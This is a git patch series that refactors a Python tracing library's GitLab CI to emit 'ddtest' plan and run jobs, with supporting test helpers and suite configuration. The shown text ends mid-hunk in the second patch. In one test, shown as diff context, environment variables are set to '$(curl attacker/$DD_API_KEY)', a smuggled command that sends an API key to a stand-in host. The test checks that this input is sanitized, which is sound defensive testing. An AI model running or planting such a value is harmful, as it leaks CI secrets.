From fc9bf4ec9c02c12a35989e0cc44ae5b472c3313f Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 09:57:12 +0200 Subject: [PATCH 01/15] refactor(ci): encapsulate ddtest job generation --- riotfile.py | 54 ++++-- scripts/ddtest_jobs.py | 235 +++++++++++++++++++++++ scripts/gen_gitlab_config.py | 57 +++++- tests/_ddtest_conftest_helpers.py | 38 ++++ tests/_ddtest_env_helpers.py | 28 +++ tests/conftest.py | 22 ++- tests/contrib/suitespec.yml | 4 +- tests/internal/test_gen_gitlab_config.py | 37 ++++ tests/suitespec.yml | 13 ++ tests/utils.py | 16 +- 10 files changed, 477 insertions(+), 27 deletions(-) create mode 100644 scripts/ddtest_jobs.py create mode 100644 tests/_ddtest_conftest_helpers.py create mode 100644 tests/_ddtest_env_helpers.py diff --git a/riotfile.py b/riotfile.py index fa8c5e3a1d8..d7f503de9ee 100644 --- a/riotfile.py +++ b/riotfile.py @@ -419,7 +419,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="tracer", - command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", + command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}}", pkgs={ "msgpack": latest, "coverage": latest, @@ -435,6 +435,14 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "freezegun": latest, }, env={ + "DDTEST_SUITE_PATH": "tests/tracer", + "DDTEST_TESTS_LOCATION": "tests/tracer/**/test*.py", + # Exclude test_uwsgi_shutdown.py from ddtest's plan: it needs the + # uwsgi binary (in the separate tracer-uwsgi venv, not this one). + # ddtest reads DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN + # directly (settings.go), so setting it in the venv env works both + # in CI (riot --command inherits venv env) and locally (riot run). + "DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN": "tests/tracer/test_uwsgi_shutdown.py", "DD_CIVISIBILITY_LOG_LEVEL": "none", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "_DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS": "50", @@ -503,9 +511,14 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="integration", + env={ + "DDTEST_SUITE_PATH": "tests/integration", + "DDTEST_TESTS_LOCATION": "tests/integration/**/test*.py", + "DDTEST_PYTEST_ADDOPTS": "-vv --ignore-glob='*civisibility*'", + }, # Enabling coverage for integration tests breaks certain tests in CI # Also, running two separate pytest sessions, the ``civisibility`` one with --no-ddtrace - command="pytest -vv --no-cov --ignore-glob='*civisibility*' {cmdargs} tests/integration/", + command="pytest -vv --no-cov --ignore-glob='*civisibility*' {cmdargs} ${{DDTEST_SUITE_PATH}}/", pkgs={"msgpack": [latest], "coverage": latest, "pytest-randomly": latest}, pys=select_pys(), venvs=[ @@ -525,9 +538,13 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="integration-civisibility", + env={ + "DDTEST_SUITE_PATH": "tests/integration/test_integration_civisibility.py", + "DDTEST_TESTS_LOCATION": "tests/integration/test_integration_civisibility.py", + }, # Enabling coverage for integration tests breaks certain tests in CI # Also, running two separate pytest sessions, the ``civisibility`` one with --no-ddtrace - command="pytest --no-cov {cmdargs} tests/integration/test_integration_civisibility.py", + command="pytest --no-cov {cmdargs} ${{DDTEST_SUITE_PATH}}", pkgs={"msgpack": [latest], "coverage": latest, "pytest-randomly": latest}, pys=select_pys(), venvs=[ @@ -634,6 +651,13 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT Venv( name="internal", env={ + # DDTEST_SUITE_PATH is the single source of truth for this suite's + # test location. The command references it via ${DDTEST_SUITE_PATH} so + # the path stays data (queryable by Riot's environment) rather than a + # literal baked into the pytest invocation. Local `riot run` works + # unchanged whether or not ddtest is installed; ddtest reads this env + # var via Riot's --command override to plan/run individual files. + "DDTEST_PYTEST_ADDOPTS": "-v", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "DD_CIVISIBILITY_ITR_ENABLED": "0", }, @@ -1949,6 +1973,11 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="pytest", + env={ + "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", + "DD_AGENT_PORT": "9126", + "DD_PYTEST_USE_NEW_PLUGIN": "false", + }, command=( "pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/contrib/pytest/" " --ignore=tests/contrib/pytest/snapshot/" @@ -1957,11 +1986,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "pytest-randomly": latest, "pytest-xdist": latest, }, - env={ - "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", - "DD_AGENT_PORT": "9126", - "DD_PYTEST_USE_NEW_PLUGIN": "false", - }, venvs=[ Venv( pys="3.9", @@ -2853,7 +2877,9 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT # DD_TRACE_OTEL_ENABLED must be set to true before ddtrace is imported # and ddtrace (ddtrace.config specifically) must be imported before opentelemetry. # If this order is violated otel and datadog spans will not be interoperable. - env={"DD_TRACE_OTEL_ENABLED": "true"}, + env={ + "DD_TRACE_OTEL_ENABLED": "true", + }, pkgs={ "pytest-randomly": latest, "pytest-asyncio": "==0.21.1", @@ -3651,6 +3677,10 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="ci_visibility", + env={ + "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", + "DD_AGENT_PORT": "9126", + }, command=( "pytest --ddtrace -n auto --dist=worksteal {cmdargs} tests/ci_visibility" " --ignore=tests/ci_visibility/api/test_api_fake_runners.py" @@ -3662,10 +3692,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "pytest-xdist": latest, "gevent": latest, }, - env={ - "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", - "DD_AGENT_PORT": "9126", - }, pys=select_pys(min_version="3.9", max_version="3.13"), ), Venv( @@ -3971,10 +3997,10 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "selenium": "~=4.0", "webdriver-manager": latest, }, - command="pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium", env={ "DD_AGENT_PORT": "9126", }, + command="pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium", venvs=[ Venv( venvs=[ diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py new file mode 100644 index 00000000000..1c451a4fc61 --- /dev/null +++ b/scripts/ddtest_jobs.py @@ -0,0 +1,235 @@ +"""ddtest job emission for gen_gitlab_config.py. + +All ddtest-specific logic is encapsulated here so that removing ddtest support +is a simple matter of deleting this file and reverting the import + call sites +in gen_gitlab_config.py, the ddtest templates in .gitlab/tests.yml, and the +ddtest: true flags in suitespec.yml. + +Functions: + - validate_ddtest_venv_test_locations: reject suites without DDTEST_TESTS_LOCATION + - ddtest_k: read per-venv CI node count from suitespec + - emit_ddtest_jobs: emit plan + run jobs for one ddtest suite +""" + +import typing as t + + +def _get_bool_env(name: str) -> str: + """Return "true"/"false" for a boolean environment variable.""" + import logging + import os + + LOGGER = logging.getLogger(__name__) + value = os.getenv(name, "").lower() + if value not in ("", "true", "false"): + LOGGER.warning("Ignoring unexpected value for %s, treating it as false", name) + return "true" if value == "true" else "false" + + +def validate_ddtest_venv_test_locations(suite: str, info) -> None: + """Reject ddtest suites whose matched venvs do not declare a test location.""" + missing = [h for h, _py in (info.venvs or []) if not (info.venv_test_locations or {}).get(h)] + if missing: + raise ValueError(f"ddtest suite {suite} has venvs without DDTEST_TESTS_LOCATION: {', '.join(missing)}") + + +def ddtest_k(config: dict) -> int: + """Per-venv CI node count K for a ddtest suite. + + K controls file splitting WITHIN a venv (a different axis from the + legacy parallelism/venvs_per_job, which controlled venv PACKING — how + many venvs per CI job). ddtest already fans out one job per venv via the + parallel matrix; K further splits each venv's files across K CI + nodes. + + K=1 (default): each venv runs all its files in one job (closest to + legacy semantics, where each job ran all files for its venv). K=2: + each venv's files split into 2 groups → 2x jobs per venv. + + A suite can override K with a `ddtest_nodes` suitespec key. If not + set, K defaults to 1 (no file splitting). The legacy `parallelism`/ + `venvs_per_job` knobs are NOT used for K — they controlled venv packing, + a different axis. + """ + k = config.get("ddtest_nodes") + if k is None or k < 1: + k = 1 + return int(k) + + +def _ddtest_base(snapshot: bool, gpu: bool) -> str: + """Return the hidden base template a ddtest suite's before_script references.""" + base = ".ddtest_base" + if gpu: + base += "_gpu" + if snapshot: + base += "_snapshot" + return base + + +def _ddtest_plan_template(gpu: bool) -> str: + """Plan template. Plan only collects (glob + Datadog API); it sends + no traces, so it never needs the testagent and has no snapshot + variant — snapshot suites and non-snapshot suites plan the same way. + """ + tpl = ".ddtest_plan" + if gpu: + tpl += "_gpu" + return tpl + + +def _ddtest_run_template(snapshot: bool, gpu: bool) -> str: + tpl = ".ddtest_run" + if gpu: + tpl += "_gpu" + if snapshot: + tpl += "_snapshot" + return tpl + + +def emit_ddtest_jobs( + f, + suite: str, + stage: str, + clean_name: str, + config: dict, + venvs: list[tuple[str, str]], + k: int, +) -> None: + """Emit ddtest-plan and ddtest-run jobs for one suite. + + One plan job loops over all suite venvs. Run jobs are emitted per Python + version, with a parallel matrix over that version's hashes and + CI_NODE_INDEX. The plan partitions its artifact by hash so run jobs can + restore only their own plan. + """ + snapshot = config.get("snapshot", False) + gpu = config.get("gpu", False) + services = list(dict.fromkeys(config.get("services") or [])) + env = dict(config.get("env") or {}) + retry = config.get("retry") + timeout = config.get("timeout") + allow_failure = config.get("allow_failure", False) + base = _ddtest_base(snapshot, gpu) + plan_base = _ddtest_base(False, gpu) # plan never needs the testagent + plan_tpl = _ddtest_plan_template(gpu) + run_tpl = _ddtest_run_template(snapshot, gpu) + job_prefix = f"{stage}/{clean_name.replace('::', '/')}" + plan_name = f"{job_prefix}::ddtest-plan" + run_name = f"{job_prefix}::ddtest-run" + suite_name = config.get("pattern") or clean_name + wait_for = list(services) + if snapshot: + wait_for.append("testagent") + + def emit_services(plan: bool) -> None: + if not services: + return + print(" services:", file=f) + svc_base = plan_base if plan else base + _svc = [f"!reference [.services, {s}]" for s in services] + if snapshot and not plan: + _svc.insert(0, f"!reference [{svc_base}, services]") + for s in _svc: + print(f" - {s}", file=f) + + def emit_before_script(plan: bool) -> None: + print(" before_script:", file=f) + ref_base = plan_base if plan else base + print(f" - !reference [{ref_base}, before_script]", file=f) + print(" - pip cache info", file=f) + print(f' - export NIGHTLY_BUILD="{_get_bool_env("NIGHTLY_BUILD")}"', file=f) + # Plan only collects; it sends no traces, so it never waits for the + # testagent even for snapshot suites. + if wait_for and not plan: + print(f" - riot -v run -s --pass-env wait -- {' '.join(wait_for)}", file=f) + + def emit_variables(extra: t.Optional[dict[str, str]] = None) -> None: + print(" variables:", file=f) + print(f" SUITE_NAME: {suite_name}", file=f) + for key, value in env.items(): + print(f" {key}: {value}", file=f) + if extra: + for key, value in extra.items(): + print(f" {key}: {value}", file=f) + + def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: + print(" - job: build_base_venvs", file=f) + print(" artifacts: true", file=f) + print(" parallel:", file=f) + print(" matrix:", file=f) + # Dedup PYTHON_VERSIONs: several hashes share a Python version, but + # build_base_venvs only needs to be downloaded once per version. + seen_py: set[str] = set() + for _h, py in needed_venvs: + if py in seen_py: + continue + seen_py.add(py) + print(f' - PYTHON_VERSION: "{py}"', file=f) + + # ---- plan job: single job per suite (groups hashes by Python version) ---- + # One plan job per suite (not per venv) to reduce CI runner contention. + # The job prepares and plans hashes in parallel across Python versions, + # partitioning the plan artifact by hash. + print(f"{plan_name}:", file=f) + print(f" extends: {plan_tpl}", file=f) + print(f" stage: {stage}", file=f) + print(" needs:", file=f) + print(" - prechecks", file=f) + emit_needs_build_base_venvs(venvs) + emit_services(plan=True) + emit_before_script(plan=True) + riot_hashes = " ".join(h for h, _ in venvs) + emit_variables( + { + "DDTEST_NODES": str(k), + "RIOT_HASHES": riot_hashes, + "RIOT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), + "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", + } + ) + if retry is not None: + print(f" retry: {retry}", file=f) + if timeout is not None: + print(f" timeout: {timeout}", file=f) + if allow_failure: + print(" allow_failure: true", file=f) + # artifacts (.testoptimization-*/) are declared on the .ddtest_plan template. + + # ---- run jobs: K instances per venv, grouped by Python version ---- + # Matrix expressions are not available on all GitLab versions used by CI, + # so emit one run job per Python version instead of dynamically matching a + # need from the run matrix. This keeps each run job's artifact download + # limited to its own build_base_venvs matrix entry. + venvs_by_py: dict[str, list[tuple[str, str]]] = {} + for venv in venvs: + venvs_by_py.setdefault(venv[1], []).append(venv) + + for py, py_venvs in venvs_by_py.items(): + py_run_name = f"{run_name}-{py}" + print(f"{py_run_name}:", file=f) + print(f" extends: {run_tpl}", file=f) + print(f" stage: {stage}", file=f) + print(" needs:", file=f) + print(" - prechecks", file=f) + emit_needs_build_base_venvs(py_venvs) + # Each run downloads the single plan artifact (which contains all + # hashes' plans, partitioned by hash) and restores its own hash's plan. + print(" - job: " + plan_name, file=f) + print(" artifacts: true", file=f) + emit_services(plan=False) + emit_before_script(plan=False) + emit_variables({"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) + print(" parallel:", file=f) + print(" matrix:", file=f) + for h, _py in py_venvs: + for node in range(k): + print(f' - RIOT_HASH: "{h}"', file=f) + print(f' PYTHON_VERSION: "{py}"', file=f) + print(f" CI_NODE_INDEX: {node}", file=f) + if retry is not None: + print(f" retry: {retry}", file=f) + if timeout is not None: + print(f" timeout: {timeout}", file=f) + if allow_failure: + print(" allow_failure: true", file=f) diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index 5f18bd06cb6..13da5074b63 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -21,12 +21,21 @@ from dataclasses import dataclass import datetime import hashlib + +# ddtest job emission is encapsulated in ddtest_jobs.py (same directory). +# This script runs via uv-run-script; scripts/ is added to sys.path later +# (line 884), so use a deferred import to avoid ModuleNotFoundError at top level. +import importlib as _importlib import os import re import subprocess import typing as t +def _ddtest_module(): + return _importlib.import_module("ddtest_jobs") + + MAX_BENCHMARKS_PER_GROUP = 2 BENCHMARK_CLASS_REGEX = r"class ([A-Za-z]+)\((bm\.)?Scenario(.+)?\)\:" BENCHMARK_SCENARIO_REGEX = re.compile(" +- name: ([a-z0-9]+)-.+") @@ -177,6 +186,15 @@ def __str__(self) -> str: class SuiteVenvInfo: venv_count: int python_versions: set[str] + # Per-venv (short_hash, python_hint) pairs, sorted by hash. Used by the + # ddtest emission to fan out one run job per venv via a parallel matrix. + # python_hint is the riot interpreter hint (e.g. "3.10") used to match + # the build_base_venvs artifact for that venv. + venvs: t.Optional[list[tuple[str, str]]] = None + # Effective DDTEST_TESTS_LOCATION values, keyed by short hash. Keeping + # this metadata during collection lets ddtest suites validate their venvs + # before emitting a pipeline that cannot discover any tests. + venv_test_locations: t.Optional[dict[str, str]] = None # Module-level state: populated by gen_required_suites, consumed by gen_build_base_venvs @@ -213,6 +231,10 @@ def collect_all_suite_venv_info(suite_patterns: dict[str, str]) -> dict[str, Sui venv_hashes: dict[str, set] = {s: set() for s in compiled} python_versions: dict[str, set] = {s: set() for s in compiled} + # hash -> python hint/path, per suite (deduplicated). Preserved as + # ordered lists for the ddtest parallel matrix and validation. + venv_hash_hint: dict[str, dict[str, str]] = {s: {} for s in compiled} + venv_test_locations: dict[str, dict[str, str]] = {s: {} for s in compiled} for inst in riotfile.venv.instances(): # type: ignore[attr-defined] if not inst.name: @@ -221,6 +243,8 @@ def collect_all_suite_venv_info(suite_patterns: dict[str, str]) -> dict[str, Sui for suite, regex in compiled.items(): if inst.matches_pattern(regex): # type: ignore[attr-defined] venv_hashes[suite].add(inst.short_hash) # type: ignore[attr-defined] + venv_hash_hint[suite][inst.short_hash] = hint # type: ignore[attr-defined] + venv_test_locations[suite][inst.short_hash] = inst.env.get("DDTEST_TESTS_LOCATION", "") # Only collect properly versioned hints (e.g. "3.10"), skip bare "3" if re.match(r"^3\.\d+$", hint): python_versions[suite].add(hint) @@ -228,9 +252,12 @@ def collect_all_suite_venv_info(suite_patterns: dict[str, str]) -> dict[str, Sui result: dict[str, SuiteVenvInfo] = {} for suite in compiled: if venv_hashes[suite]: + venvs = sorted(venv_hash_hint[suite].items()) result[suite] = SuiteVenvInfo( venv_count=len(venv_hashes[suite]), python_versions=python_versions[suite], + venvs=venvs, + venv_test_locations=venv_test_locations[suite], ) else: LOGGER.warning("No riot venvs found for suite %s with pattern %s", suite, suite_patterns[suite]) @@ -494,18 +521,28 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: suite_patterns = {s: suites[s].get("pattern", s) for s in non_skipped} suite_venv_info = collect_all_suite_venv_info(suite_patterns) + # A ddtest job must have a file-based location for every matching riot + # venv. Fail during generation instead of creating a job that silently + # plans the repository root or an invalid pytest node ID. + for suite in non_skipped: + if not suites[suite].get("ddtest") or suite not in suite_venv_info: + continue + _ddtest_module().validate_ddtest_venv_test_locations(suite, suite_venv_info[suite]) + # Populate the module-level global so gen_build_base_venvs can use it _global_python_versions = set() for info in suite_venv_info.values(): _global_python_versions.update(info.python_versions) - # Compute baseline parallelism. Track scalable suites (those with venv info, eligible - # for scaling up) and the vpj map for dynamic suites. + # Compute baseline parallelism only for legacy riot suites. ddtest owns + # its run matrix, so including ddtest suites here only calculates values + # that are never emitted. + legacy_non_skipped = [s for s in non_skipped if not suites[s].get("ddtest")] baseline_jobs: dict[str, int] = {} - scalable_suites: list[str] = [] # all suites with venv info (both static and dynamic) + scalable_suites: list[str] = [] # all legacy suites eligible for scaling venvs_per_job_map: dict[str, int] = {} # only for venvs_per_job suites - for suite in non_skipped: + for suite in legacy_non_skipped: config = suites[suite] static_parallelism = config.get("parallelism") venvs_per_job = config.get("venvs_per_job") @@ -544,6 +581,18 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: clean_name = suite_config.pop("_clean_name", suite) py_versions = suite_venv_info[suite].python_versions if suite in suite_venv_info else None + + # ddtest suites: emit plan/run jobs instead of the legacy riot job. + if suite_config.get("ddtest"): + venvs = (suite_venv_info[suite].venvs or []) if suite in suite_venv_info else [] + if not venvs: + LOGGER.warning("Suite %s opted into ddtest but has no riot venvs; skipping", suite) + continue + k = _ddtest_module().ddtest_k(suite_config) + LOGGER.info("Suite %s: ddtest (venvs=%d, nodes/venv=%d)", suite, len(venvs), k) + _ddtest_module().emit_ddtest_jobs(f, suite, stage, clean_name, suite_config, venvs, k) + continue + jobspec = JobSpec(clean_name, stage=stage, python_versions=py_versions, **suite_config) if jobspec.skip: LOGGER.debug("Skipping suite %s", suite) diff --git a/tests/_ddtest_conftest_helpers.py b/tests/_ddtest_conftest_helpers.py new file mode 100644 index 00000000000..3f9adb6bf13 --- /dev/null +++ b/tests/_ddtest_conftest_helpers.py @@ -0,0 +1,38 @@ +"""ddtest-specific conftest helpers. + +Encapsulates the _DD_PYTEST_XDIST_INFERRED_SERVICE handling so that +removing ddtest support is a simple matter of deleting this file and +reverting the import + call site in tests/conftest.py. +""" + +import os +import sys + + +def pop_and_seed_inferred_service(): + """Pop _DD_PYTEST_XDIST_INFERRED_SERVICE and seed the detect_service cache. + + Consumed by detect_service() during ddtrace import; unset now so + it doesn't leak into tests (e.g. unit tests that call detect_service directly). + + Save it so pytest_configure can propagate the correct value to xdist workers + (the suitespec may set this to the suite-level service, e.g. tests.tracer; + detect_service(sys.argv) under ddtest would pick the first file's subpackage). + + Seed the detect_service cache so subsequent Config() calls in tests return + the same service as import time. Without this, detect_service(sys.argv) in + a test would re-compute from sys.argv (which under ddtest has individual + files, yielding a subpackage like tests.tracer.runtime instead of + tests.tracer). Under riot CI xdist workers (sys.argv=['-c']), the natural + result is None, so we only seed when the env var differs from the natural + result — this avoids breaking tests that expect config.service is None. + """ + _inferred_service_env = os.environ.pop("_DD_PYTEST_XDIST_INFERRED_SERVICE", None) + if _inferred_service_env: + from ddtrace.internal.settings._inferred_base_service import CACHE as _detect_service_cache + from ddtrace.internal.settings._inferred_base_service import detect_service as _detect_service + + _natural = _detect_service(sys.argv) + if _natural != _inferred_service_env: + _detect_service_cache[tuple(sorted(sys.argv))] = _inferred_service_env + return _inferred_service_env diff --git a/tests/_ddtest_env_helpers.py b/tests/_ddtest_env_helpers.py new file mode 100644 index 00000000000..0cacdb955ef --- /dev/null +++ b/tests/_ddtest_env_helpers.py @@ -0,0 +1,28 @@ +"""ddtest-specific environment helpers for test subprocesses. + +Encapsulates env var stripping so that removing ddtest support is a simple +matter of deleting this file and reverting the import + call site in +tests/utils.py. +""" + +# PYTEST_ADDOPTS is set to "--ddtrace" by ddtest's platform env (ddtest/internal/ +# platform/python.go:GetPlatformEnv) so the pytest workers load the ddtrace +# testing plugin. It leaks into every test-spawned subprocess via env +# inheritance. Under normal riot CI this var is absent, so test subprocesses +# don't activate CI Visibility. The leaked --ddtrace makes a nested +# pytest.main() enable the plugin, which logs INFO to stderr (breaking tests +# that assert err == b"") and computes stats (breaking snapshot tests). No +# test sets PYTEST_ADDOPTS via call_program's env kwarg, so stripping it here +# is safe. (ddtest's main.go also sets DD_CIVISIBILITY_ENABLED=1 globally, but +# that var is inert on its own — the pytest plugin needs --ddtrace to activate +# — so stripping PYTEST_ADDOPTS is sufficient to keep subprocesses +# CI-Visibility-free.) +_DDTEST_LEAKED_ENV_VARS = ("PYTEST_ADDOPTS",) + + +def strip_ddtest_leaked_env(env): + """Remove env vars leaked from the ddtest parent worker.""" + env = dict(env) + for key in _DDTEST_LEAKED_ENV_VARS: + env.pop(key, None) + return env diff --git a/tests/conftest.py b/tests/conftest.py index e2aa9818316..3794a58b70e 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -32,10 +32,17 @@ import ddtrace - # DEV: Consumed by detect_service() during ddtrace import above; unset now so # it doesn't leak into tests (e.g. unit tests that call detect_service directly). -os.environ.pop("_DD_PYTEST_XDIST_INFERRED_SERVICE", None) +# Save it so pytest_configure can propagate the correct value to xdist workers +# (the suitespec may set this to the suite-level service, e.g. tests.tracer; +# detect_service(sys.argv) under ddtest would pick the first file's subpackage). +# All ddtest-specific logic is in _ddtest_conftest_helpers so it can be removed +# cleanly if ddtest support is dropped. +from tests._ddtest_conftest_helpers import pop_and_seed_inferred_service + + +_inferred_service_env = pop_and_seed_inferred_service() from ddtrace._trace.provider import _DD_CONTEXTVAR @@ -174,11 +181,14 @@ def pytest_configure(config): # Only set when xdist workers are actually being spawned (numprocesses > 0 or # 'auto') and only from the controller (workers have PYTEST_XDIST_WORKER set). if not os.environ.get("PYTEST_XDIST_WORKER") and getattr(config.option, "numprocesses", 0): - from ddtrace.internal.settings._inferred_base_service import detect_service as _detect_service + if _inferred_service_env: + os.environ["_DD_PYTEST_XDIST_INFERRED_SERVICE"] = _inferred_service_env + else: + from ddtrace.internal.settings._inferred_base_service import detect_service as _detect_service - _inferred = _detect_service(sys.argv) - if _inferred: - os.environ["_DD_PYTEST_XDIST_INFERRED_SERVICE"] = _inferred + _inferred = _detect_service(sys.argv) + if _inferred: + os.environ["_DD_PYTEST_XDIST_INFERRED_SERVICE"] = _inferred @pytest.fixture(autouse=True, scope="function") diff --git a/tests/contrib/suitespec.yml b/tests/contrib/suitespec.yml index 477dfc42816..fa0005ab3bc 100644 --- a/tests/contrib/suitespec.yml +++ b/tests/contrib/suitespec.yml @@ -1017,7 +1017,7 @@ suites: - tests/snapshots/tests.contrib.mlflow.* snapshot: true molten: - parallelism: 1 + parallelism: 2 paths: - '@bootstrap' - '@core' @@ -1378,7 +1378,7 @@ suites: - tests/contrib/tornado/* snapshot: true urllib3: - parallelism: 1 + parallelism: 2 env: TEST_HTTPBIN_HOST: httpbin TEST_HTTPBIN_PORT: '8001' diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index b048b3d69d1..ae5b873576e 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -1,6 +1,7 @@ """Tests for scripts/gen_gitlab_config.py.""" import importlib.util +import io import pathlib import sys import types @@ -72,6 +73,42 @@ def test_jobspec_sanitizes_nightly_build_before_script(gen_gitlab_config_mod, mo assert "$DD_API_KEY" not in config +def test_ddtest_requires_a_test_path_for_every_venv(gen_gitlab_config_mod): + info = gen_gitlab_config_mod.SuiteVenvInfo( + venv_count=2, + python_versions={"3.12"}, + venvs=[("hash-with-path", "3.12"), ("hash-without-path", "3.12")], + venv_test_locations={"hash-with-path": "tests/internal", "hash-without-path": ""}, + ) + + with pytest.raises(ValueError, match="hash-without-path"): + gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations("internal", info) + + +def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): + output = io.StringIO() + + gen_gitlab_config_mod._ddtest_module().emit_ddtest_jobs( + output, + suite="internal", + stage="core", + clean_name="internal", + config={"env": {"_DD_PYTEST_XDIST_INFERRED_SERVICE": "tests.internal"}}, + venvs=[("abc1234", "3.13"), ("def5678", "3.14")], + k=1, + ) + + content = output.getvalue() + assert "_DD_PYTEST_XDIST_INFERRED_SERVICE: tests.internal" in content + assert "RIOT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content + run_313_needs = content.split("core/internal::ddtest-run-3.13:", 1)[1].split("\n parallel:\n", 1)[0] + run_314_needs = content.split("core/internal::ddtest-run-3.14:", 1)[1].split("\n parallel:\n", 1)[0] + assert 'PYTHON_VERSION: "3.13"' in run_313_needs + assert 'PYTHON_VERSION: "3.14"' in run_314_needs + assert 'PYTHON_VERSION: "3.14"' not in run_313_needs + assert 'PYTHON_VERSION: "3.13"' not in run_314_needs + + def test_build_base_venvs_template_gets_sanitized_bool_values(gen_gitlab_config_mod, monkeypatch, tmp_path): monkeypatch.setenv("NIGHTLY_BUILD", "$(curl attacker/$DD_API_KEY)") monkeypatch.setenv("UNPIN_DEPENDENCIES", "$(curl attacker/$DD_API_KEY)") diff --git a/tests/suitespec.yml b/tests/suitespec.yml index cda3f55cfd5..7709722d62f 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -163,6 +163,8 @@ suites: paths: - 'conftest.py' - '**/conftest.py' + - 'tests/_ddtest_conftest_helpers.py' + - 'tests/_ddtest_env_helpers.py' pattern: meta-testing snapshot: false ddtracerun: @@ -185,6 +187,10 @@ suites: - 'src/native/*' - 'scripts/global-lock-detection.py' integration_agent: + ddtest_nodes: 2 + ddtest: true + env: + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.integration parallelism: 2 paths: - '@tracing' @@ -196,6 +202,10 @@ suites: - tests/snapshots/tests.integration.* pattern: integration-latest* integration_testagent: + ddtest_nodes: 2 + ddtest: true + env: + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.integration venvs_per_job: 3 paths: - '@tracing' @@ -278,7 +288,10 @@ suites: - tests/snapshots/tests.telemetry.* snapshot: true tracer: + ddtest: true + ddtest_nodes: 2 env: + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer DD_TRACE_AGENT_URL: http://localhost:8126 KUBERNETES_MEMORY_REQUEST: "4Gi" KUBERNETES_MEMORY_LIMIT: "4Gi" diff --git a/tests/utils.py b/tests/utils.py index 6a9aa190e17..05dffd5f2a6 100644 --- a/tests/utils.py +++ b/tests/utils.py @@ -50,6 +50,7 @@ from ddtrace.propagation.http import _DatadogMultiHeader from ddtrace.trace import Span from ddtrace.trace import Tracer +from tests._ddtest_env_helpers import strip_ddtest_leaked_env from tests.subprocesstest import SubprocessTestCase @@ -1427,13 +1428,26 @@ def __eq__(self, other): return isinstance(other, float) +# ddtest sets PYTEST_ADDOPTS="--ddtrace" globally for pytest workers. It leaks +# into test-spawned subprocesses, enabling CI Visibility which logs to stderr +# (breaking tests that assert err == b"") and computes stats (breaking +# snapshot tests). All ddtest-specific env stripping is encapsulated in +# _ddtest_env_helpers so it can be removed cleanly if ddtest support is +# dropped. + + def call_program(*args, **kwargs): timeout = kwargs.pop("timeout", None) if "env" in kwargs: # Remove all keys with the value None from env, None is used to unset an environment variable env = kwargs.pop("env") cleaned_env = {env: val for env, val in env.items() if val is not None} - kwargs["env"] = cleaned_env + else: + # No explicit env: subprocess would inherit os.environ directly. + cleaned_env = dict(os.environ) + # Strip the ddtest-leaked PYTEST_ADDOPTS so the subprocess matches normal + # riot CI, where it is absent. See _DDTEST_LEAKED_PYTEST_ADDOPTS above. + kwargs["env"] = strip_ddtest_leaked_env(cleaned_env) close_fds = sys.platform != "win32" subp = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=close_fds, **kwargs) try: From 47f2cb1e3e57e841644b6621a6c84b7692850a3a Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 09:57:24 +0200 Subject: [PATCH 02/15] ci: add ddtest plan and run jobs --- .gitlab/tests.yml | 166 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 166 insertions(+) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index e01783349b7..731327c567c 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -85,4 +85,170 @@ include: - export 